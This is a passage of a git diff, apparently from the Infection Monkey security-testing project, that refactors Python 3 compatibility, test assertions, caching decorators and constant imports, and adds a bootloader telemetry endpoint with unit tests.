+57,15 @@ class Monkey(Document): try: return Monkey.objects.get(id=db_id) except DoesNotExist as ex: - raise MonkeyNotFoundError("info: {0} | id: {1}".format(ex.message, str(db_id))) + raise MonkeyNotFoundError("info: {0} | id: {1}".format(ex, str(db_id))) @staticmethod - def get_single_monkey_by_guid(monkey_guid): + # See https://www.python.org/dev/peps/pep-0484/#forward-references + def get_single_monkey_by_guid(monkey_guid) -> 'Monkey': try: return Monkey.objects.get(guid=monkey_guid) except DoesNotExist as ex: - raise MonkeyNotFoundError("info: {0} | guid: {1}".format(ex.message, str(monkey_guid))) + raise MonkeyNotFoundError("info: {0} | guid: {1}".format(ex, str(monkey_guid))) @staticmethod def get_latest_modifytime(): @@ -88,8 +95,8 @@ class Monkey(Document): os = "windows" return os - @staticmethod @ring.lru() + @staticmethod def get_label_by_id(object_id): current_monkey = Monkey.get_single_monkey_by_id(object_id) label = Monkey.get_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0] @@ -97,8 +104,8 @@ class Monkey(Document): label = "MonkeyIsland - " + label return label - @staticmethod @ring.lru() + @staticmethod def get_hostname_by_id(object_id): """ :param object_id: the object ID of a Monkey in the database. @@ -124,10 +131,10 @@ class Monkey(Document): """ return {'ips': self.ip_addresses, 'hostname': self.hostname} - @staticmethod @ring.lru( expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation. ) + @staticmethod def is_monkey(object_id): try: _ = Monkey.get_single_monkey_by_id(object_id) diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index 9646d94bb..0d12f9785 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -1,10 +1,14 @@ import uuid +import logging from time import sleep -from monkey import Monkey -from monkey_island.cc.models.monkey import MonkeyNotFoundError +import pytest + +from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError from monkey_island.cc.testing.IslandTestCase import IslandTestCase -from monkey_ttl import MonkeyTtl +from .monkey_ttl import MonkeyTtl + +logger = logging.getLogger(__name__) class TestMonkey(IslandTestCase): @@ -32,7 +36,7 @@ class TestMonkey(IslandTestCase): # MIA stands for Missing In Action mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) mia_monkey_ttl.save() - mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl) + mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl.id) mia_monkey.save() # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance. sleep(1) @@ -70,15 +74,17 @@ class TestMonkey(IslandTestCase): # Act + assert # Find the existing one self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id)) + # Raise on non-existent monkey - self.assertRaises(MonkeyNotFoundError, Monkey.get_single_monkey_by_id, "abcdefabcdefabcdefabcdef") + with pytest.raises(MonkeyNotFoundError) as e_info: + _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef") def test_get_os(self): self.fail_if_not_testing_env() self.clean_monkey_db() linux_monkey = Monkey(guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64") + description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu") windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla") unknown_monkey = Monkey(guid=str(uuid.uuid4()), @@ -87,9 +93,9 @@ class TestMonkey(IslandTestCase): windows_monkey.save() unknown_monkey.save() - self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects()))) - self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects()))) - self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects()))) + self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"])) + self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"])) + self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"])) def test_get_tunneled_monkeys(self): self.fail_if_not_testing_env() @@ -125,29 +131,41 @@ class TestMonkey(IslandTestCase): ip_addresses=[ip_example]) linux_monkey.save() + logger.debug(id(Monkey.get_label_by_id)) + cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info() - self.assertEquals(cache_info_before_query.hits, 0) + self.assertEqual(cache_info_before_query.hits, 0) + self.assertEqual(cache_info_before_query.misses, 0) # not cached label = Monkey.get_label_by_id(linux_monkey.id) + cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info() + self.assertEqual(cache_info_after_query_1.hits, 0) + self.assertEqual(cache_info_after_query_1.misses, 1) + logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label)) self.assertIsNotNone(label) self.assertIn(hostname_example, label) self.assertIn(ip_example, label) # should be cached - _ = Monkey.get_label_by_id(linux_monkey.id) - cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info() - self.assertEquals(cache_info_after_query.hits, 1) + label = Monkey.get_label_by_id(linux_monkey.id) + logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label)) + cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info() + self.assertEqual(cache_info_after_query_2.hits, 1) + self.assertEqual(cache_info_after_query_2.misses, 1) + # set hostname deletes the id from the cache. linux_monkey.set_hostname("Another hostname") # should be a miss label = Monkey.get_label_by_id(linux_monkey.id) - cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info() + logger.debug("3) ID: {} label: {}".format(linux_monkey.id, label)) + cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info() + logger.debug("Cache info: {}".format(str(cache_info_after_query_3))) # still 1 hit only - self.assertEquals(cache_info_after_second_query.hits, 1) - self.assertEquals(cache_info_after_second_query.misses, 2) + self.assertEqual(cache_info_after_query_3.hits, 1) + self.assertEqual(cache_info_after_query_3.misses, 2) def test_is_monkey(self): self.fail_if_not_testing_env() @@ -157,7 +175,7 @@ class TestMonkey(IslandTestCase): a_monkey.save() cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info() - self.assertEquals(cache_info_before_query.hits, 0) + self.assertEqual(cache_info_before_query.hits, 0) # not cached self.assertTrue(Monkey.is_monkey(a_monkey.id)) @@ -169,5 +187,4 @@ class TestMonkey(IslandTestCase): self.assertFalse(Monkey.is_monkey(fake_id)) cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() - self.assertEquals(cache_info_after_query.hits, 2) - + self.assertEqual(cache_info_after_query.hits, 2) diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py index c3ed52649..38b551047 100644 --- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding @@ -26,7 +26,7 @@ class AggregateFinding(Finding): def add_malicious_activity_to_timeline(events): AggregateFinding.create_or_add_to_existing( - test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_VERIFY, + test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, events=events ) diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py index 6ad728d66..89b581fa0 100644 --- a/monkey/monkey_island/cc/models/zero_trust/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -2,7 +2,7 @@ from datetime import datetime from mongoengine import EmbeddedDocument, DateTimeField, StringField -from common.data.zero_trust_consts import EVENT_TYPES +import common.data.zero_trust_consts as zero_trust_consts class Event(EmbeddedDocument): @@ -19,7 +19,7 @@ class Event(EmbeddedDocument): timestamp = DateTimeField(required=True) title = StringField(required=True) message = StringField() - event_type = StringField(required=True, choices=EVENT_TYPES) + event_type = StringField(required=True, choices=zero_trust_consts.EVENT_TYPES) # LOGIC @staticmethod diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index df4eb12f7..90c9e1dc3 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -5,7 +5,7 @@ Define a Document Schema for Zero Trust findings. from mongoengine import Document, StringField, EmbeddedDocumentListField -from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY +import common.data.zero_trust_consts as zero_trust_consts # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from monkey_island.cc.models.zero_trust.event import Event @@ -30,18 +30,18 @@ class Finding(Document): times, or complex action we will perform - somewhat like an API. """ # SCHEMA - test = StringField(required=True, choices=TESTS) - status = StringField(required=True, choices=ORDERED_TEST_STATUSES) + test = StringField(required=True, choices=zero_trust_consts.TESTS) + status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) events = EmbeddedDocumentListField(document_type=Event) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} # LOGIC def get_test_explanation(self): - return TESTS_MAP[self.test][TEST_EXPLANATION_KEY] + return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.TEST_EXPLANATION_KEY] def get_pillars(self): - return TESTS_MAP[self.test][PILLARS_KEY] + return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.PILLARS_KEY] # Creation methods @staticmethod diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py index 32a450f57..60262fbfd 100644 --- a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -1,11 +1,11 @@ from mongoengine import StringField -from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding def need_to_overwrite_status(saved_status, new_status): - return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED) + return (saved_status == zero_trust_consts.STATUS_PASSED) and (new_status == zero_trust_consts.STATUS_FAILED) class SegmentationFinding(Finding): @@ -17,7 +17,7 @@ class SegmentationFinding(Finding): """ Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will - remain so). + remain so). :param subnets: the 2 subnets of this finding. :param status: STATUS_PASSED or STATUS_FAILED @@ -35,7 +35,7 @@ class SegmentationFinding(Finding): new_finding = SegmentationFinding( first_subnet=subnets[0], second_subnet=subnets[1], - test=TEST_SEGMENTATION, + test=zero_trust_consts.TEST_SEGMENTATION, status=status, events=[segmentation_event] ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index c1a94166f..ce28ad7f7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import * +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding @@ -10,44 +10,44 @@ class TestAggregateFinding(IslandTestCase): self.fail_if_not_testing_env() self.clean_finding_db() - test = TEST_MALICIOUS_ACTIVITY_TIMELINE - status = STATUS_VERIFY - events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)] - self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE + status = zero_trust_consts.STATUS_VERIFY + events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] + self.assertEqual(len(Finding.objects(test=test, status=status)), 0) AggregateFinding.create_or_add_to_existing(test, status, events) - self.assertEquals(len(Finding.objects(test=test, status=status)), 1) - self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + self.assertEqual(len(Finding.objects(test=test, status=status)), 1) + self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) AggregateFinding.create_or_add_to_existing(test, status, events) - self.assertEquals(len(Finding.objects(test=test, status=status)), 1) - self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + self.assertEqual(len(Finding.objects(test=test, status=status)), 1) + self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) def test_create_or_add_to_existing_2_tests_already_exist(self): self.fail_if_not_testing_env() self.clean_finding_db() - test = TEST_MALICIOUS_ACTIVITY_TIMELINE - status = STATUS_VERIFY - event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK) + test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE + status = zero_trust_consts.STATUS_VERIFY + event = Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) events = [event] - self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + self.assertEqual(len(Finding.objects(test=test, status=status)), 0) Finding.save_finding(test, status, events) - self.assertEquals(len(Finding.objects(test=test, status=status)), 1) - self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + self.assertEqual(len(Finding.objects(test=test, status=status)), 1) + self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) AggregateFinding.create_or_add_to_existing(test, status, events) - self.assertEquals(len(Finding.objects(test=test, status=status)), 1) - self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + self.assertEqual(len(Finding.objects(test=test, status=status)), 1) + self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) Finding.save_finding(test, status, events) - self.assertEquals(len(Finding.objects(test=test, status=status)), 2) + self.assertEqual(len(Finding.objects(test=test, status=status)), 2) with self.assertRaises(AssertionError): AggregateFinding.create_or_add_to_existing(test, status, events) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index c0742407d..4a5afba50 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -1,6 +1,6 @@ from mongoengine import ValidationError -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -14,7 +14,7 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title=None, # title required message="bla bla", - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) with self.assertRaises(ValidationError): @@ -28,5 +28,5 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title="skjs", message="bla bla", - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index 88a33d5d3..4299f7eb4 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -1,6 +1,6 @@ from mongoengine import ValidationError -from common.data.zero_trust_consts import * +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -14,25 +14,26 @@ class TestFinding(IslandTestCase): Also, the working directory needs to be the working directory from which you usually run the island so the server.json file is found and loaded. """ + def test_save_finding_validation(self): self.fail_if_not_testing_env() self.clean_finding_db() with self.assertRaises(ValidationError): - _ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[]) + _ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[]) with self.assertRaises(ValidationError): - _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[]) + _ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", events=[]) def test_save_finding_sanity(self): self.fail_if_not_testing_env() self.clean_finding_db() - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) event_example = Event.create_event( - title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK) - Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example]) + title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example]) - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1) - self.assertEquals(len(Finding.objects(status=STATUS_FAILED)), 1) + self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1) + self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py index 80e564a17..4afff9fe4 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding @@ -12,41 +12,41 @@ class TestSegmentationFinding(IslandTestCase): first_segment = "1.1.1.0/24" second_segment = "2.2.2.0-2.2.2.254" third_segment = "3.3.3.3" - event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK) + event = Event.create_event("bla", "bla", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) SegmentationFinding.create_or_add_to_existing_finding( subnets=[first_segment, second_segment], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) - self.assertEquals(len(SegmentationFinding.objects()), 1) - self.assertEquals(len(SegmentationFinding.objects()[0].events), 1) + self.assertEqual(len(SegmentationFinding.objects()), 1) + self.assertEqual(len(SegmentationFinding.objects()[0].events), 1) SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[second_segment, first_segment], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) - self.assertEquals(len(SegmentationFinding.objects()), 1) - self.assertEquals(len(SegmentationFinding.objects()[0].events), 2) + self.assertEqual(len(SegmentationFinding.objects()), 1) + self.assertEqual(len(SegmentationFinding.objects()[0].events), 2) SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[first_segment, third_segment], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) - self.assertEquals(len(SegmentationFinding.objects()), 2) + self.assertEqual(len(SegmentationFinding.objects()), 2) SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[second_segment, third_segment], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) - self.assertEquals(len(SegmentationFinding.objects()), 3) + self.assertEqual(len(SegmentationFinding.objects()), 3) diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py index da7651f24..021663521 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack/attack_config.py @@ -1,6 +1,5 @@ import flask_restful -import json -from flask import jsonify, request +from flask import jsonify, request, json, current_app from monkey_island.cc.auth import jwt_required from monkey_island.cc.services.attack.attack_config import AttackConfig @@ -11,7 +10,11 @@ __author__ = "VakarisZ" class AttackConfiguration(flask_restful.Resource): @jwt_required() def get(self): - return jsonify(configuration=AttackConfig.get_config()['properties']) + return current_app.response_class(json.dumps({"configuration": AttackConfig.get_config()}, + indent=None, + separators=(",", ":"), + sort_keys=False) + "\n", + mimetype=current_app.config['JSONIFY_MIMETYPE']) @jwt_required() def post(self): @@ -22,9 +25,8 @@ class AttackConfiguration(flask_restful.Resource): config_json = json.loads(request.data) if 'reset_attack_matrix' in config_json: AttackConfig.reset_config() - return jsonify(configuration=AttackConfig.get_config()['properties']) + return jsonify(configuration=AttackConfig.get_config()) else: AttackConfig.update_config({'properties': json.loads(request.data)}) AttackConfig.apply_to_monkey_config() return {} - diff --git a/monkey/monkey_island/cc/resources/attack/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py index a55137d7e..dc63f6747 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_report.py +++ b/monkey/monkey_island/cc/resources/attack/attack_report.py @@ -1,7 +1,8 @@ import flask_restful -from flask import jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.services.attack.attack_report import AttackReportService +from monkey_island.cc.services.attack.attack_schema import SCHEMA +from flask import json, current_app __author__ = "VakarisZ" @@ -10,4 +11,9 @@ class AttackReport(flask_restful.Resource): @jwt_required() def get(self): - return jsonify(AttackReportService.get_latest_report()['techniques']) + response_content = {'techniques': AttackReportService.get_latest_report()['techniques'], 'schema': SCHEMA} + return current_app.response_class(json.dumps(response_content, + indent=None, + separators=(",", ":"), + sort_keys=False) + "\n", + mimetype=current_app.config['JSONIFY_MIMETYPE']) diff --git a/monkey/monkey_island/cc/resources/bootloader.py b/monkey/monkey_island/cc/resources/bootloader.py new file mode 100644 index 000000000..733b35651 --- /dev/null +++ b/monkey/monkey_island/cc/resources/bootloader.py @@ -0,0 +1,38 @@ +import json +from typing import Dict + +import flask_restful +from flask import request, make_response + +from monkey_island.cc.services.bootloader import BootloaderService + + +class Bootloader(flask_restful.Resource): + + # Used by monkey. can't secure. + def post(self, os): + if os == 'linux': + data = Bootloader._get_request_contents_linux(request.data) + elif os == 'windows': + data = Bootloader._get_request_contents_windows(request.data) + else: + return make_response({"status": "OS_NOT_FOUND"}, 404) + + result = BootloaderService.parse_bootloader_telem(data) + + if result: + return make_response({"status": "RUN"}, 200) + else: + return make_response({"status": "ABORT"}, 200) + + @staticmethod + def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]: + parsed_data = json.loads(request_data.decode().replace("\"\n", "") + .replace("\n", "") + .replace("NAME=\"", "") + .replace("\":\",", "\":\"\",")) + return parsed_data + + @staticmethod + def _get_request_contents_windows(request_data: bytes) -> Dict[str, str]: + return json.loads(request_data.decode("utf-16", "ignore")) diff --git a/monkey/monkey_island/cc/resources/bootloader_test.py b/monkey/monkey_island/cc/resources/bootloader_test.py new file mode 100644 index 000000000..41ce9304c --- /dev/null +++ b/monkey/monkey_island/cc/resources/bootloader_test.py @@ -0,0 +1,56 @@ +from unittest import TestCase + +from monkey_island.cc.resources.bootloader import Bootloader +from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS + + +class TestBootloader(TestCase): + + def test_get_request_contents_linux(self): + data_without_tunnel = b'{"system":"linux", ' \ + b'"os_version":"NAME="Ubuntu"\n", ' \ + b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \ + b'"hostname":"test-TEST", ' \ + b'"tunnel":false, ' \ + b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' + data_with_tunnel = b'{"system":"linux", ' \ + b'"os_version":"NAME="Ubuntu"\n", ' \ + b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \ + b'"hostname":"test-TEST", ' \ + b'"tunnel":"192.168.56.1:5002", ' \ + b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' + + result1 = Bootloader._get_request_contents_linux(data_without_tunnel) + self.assertTrue(result1['system'] == "linux") + self.assertTrue(result1['os_version'] == "Ubuntu") + self.assertTrue(result1['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") + self.assertTrue(result1['hostname'] == "test-TEST") + self.assertFalse(result1['tunnel']) + self.assertTrue(result1['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) + + result2 = Bootloader._get_request_contents_linux(data_with_tunnel) + self.assertTrue(result2['system'] == "linux") + self.assertTrue(result2['os_version'] == "Ubuntu") + self.assertTrue(result2['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") + self.assertTrue(result2['hostname'] == "test-TEST") + self.assertTrue(result2['tunnel'] == "192.168.56.1:5002") + self.assertTrue(result2['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) + + def test_get_request_contents_windows(self): + windows_data = b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' \ + b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' \ + b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' \ + b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 \x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' \ + b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006\x00B\x00"' \ + b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e\x00,\x00 ' \ + b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' \ + b'\x006\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' \ + b'\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' \ + b'\x001\x00"\x00]\x00}\x00' + + result = Bootloader._get_request_contents_windows(windows_data) + self.assertTrue(result['system'] == "windows") + self.assertTrue(result['os_version'] == "windows8_or_greater") + self.assertTrue(result['hostname'] == "DESKTOP-PJHU36B") + self.assertFalse(result['tunnel']) + self.assertTrue(result['ips'] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"]) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 54a16f518..41f5fa417 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH __author__ = 'Barak' import logging + logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 8e523a8a7..3e3ef40c0 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService __author__ = 'Barak' + # TODO: separate logic from interface diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py index ed83414f5..3b7e471d8 100644 --- a/monkey/monkey_island/cc/resources/netmap.py +++ b/monkey/monkey_island/cc/resources/netmap.py @@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource): "nodes": monkeys + nodes + monkey_island, "edges": edges } - - diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py new file mode 100644 index 000000000..c7c99cc94 --- /dev/null +++ b/monkey/monkey_island/cc/resources/node_states.py @@ -0,0 +1,11 @@ +from flask import request +import flask_restful + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.utils.node_states import NodeStates as NodeStateList + + +class NodeStates(flask_restful.Resource): + @jwt_required() + def get(self): + return {'node_states': [state.value for state in NodeStateList]} diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index 5b567e8e4..de85fc291 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource): """ File download endpoint used by monkey to download user's PBA file """ + # Used by monkey. can't secure. def get(self, path): return send_from_directory(GET_FILE_DIR, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 0d924a742..3a636459c 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource): """ File upload endpoint used to exchange files with filepond component on the front-end """ + @jwt_required() def get(self, file_type): """ diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 675c292c1..98d3694bf 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -6,7 +6,7 @@ import flask_restful from monkey_island.cc.auth import jwt_required from 